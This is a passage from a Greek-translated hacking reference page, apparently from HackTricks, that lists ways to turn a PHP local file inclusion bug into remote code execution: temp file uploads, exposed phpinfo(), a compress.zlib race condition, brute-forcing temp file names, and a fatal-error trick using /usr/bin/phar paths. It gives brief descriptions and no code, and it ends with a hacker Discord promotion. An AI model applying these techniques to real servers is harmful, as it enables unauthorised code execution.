Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και ο διακομιστής τρέχει σε Windows μπορείτε να αποκτήσετε RCE:
pageLFI2RCE Via temp file uploadsΜέσω phpinfo() (file_uploads = on)
Αν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και ένα αρχείο που εκθέτει phpinfo() με file_uploads = on μπορείτε να αποκτήσετε RCE:
pageLFI2RCE via phpinfo()Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Αποκάλυψη Διαδρομής
PHP_STREAM_PREFER_STUDIO
+ Αποκάλυψη ΔιαδρομήςΑν βρήκατε μια Τοπική Περιλαμβανόμενη Αρχείων και μπορείτε να εξαγάγετε τη διαδρομή του προσωρινού αρχείου ΑΛΛΑ ο διακομιστής ελέγχει αν το αρχείο που θα περιληφθεί έχει σήματα PHP, μπορείτε να προσπαθήσετε να παρακάμψετε αυτόν τον έλεγχο με αυτήν τη Race Condition:
pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path DisclosureΜέσω αιώνιας αναμονής + βίαιης επίθεσης
Αν μπορείτε να εκμεταλλευτείτε την LFI για μεταφόρτωση προσωρινών αρχείων και να κάνετε τον διακομιστή να κρεμάσει την εκτέλεση του PHP, τότε θα μπορούσατε να δοκιμάσετε ονόματα αρχείων με brute force ώρες για να βρείτε το προσωρινό αρχείο:
pageLFI2RCE via Eternal waitingΠρος Κρίσιμο Σφάλμα
Αν περιλάβετε οποιοδήποτε από τα αρχεία /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Πρέπει να περιλάβετε το ίδιο δύο φορές για να προκαλέσετε αυτό το σφάλμα).
Δεν ξέρω πώς είναι χρήσιμο αυτό αλλά μπορεί να είναι. Ακόμα κι αν προκαλέσετε ένα Κρίσιμο Σφάλμα PHP, τα προσωρινά αρχεία που μεταφορτώθηκαν από το PHP διαγράφονται.
Αναφορές
Συμμετέχετε στο HackenProof Discord server για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εισαγωγές Χάκερ Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
Ειδήσεις Χάκερ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
Τελευταίες Ανακοινώσεις Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας
Συμμετέχετε στο Discord και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!
Last updated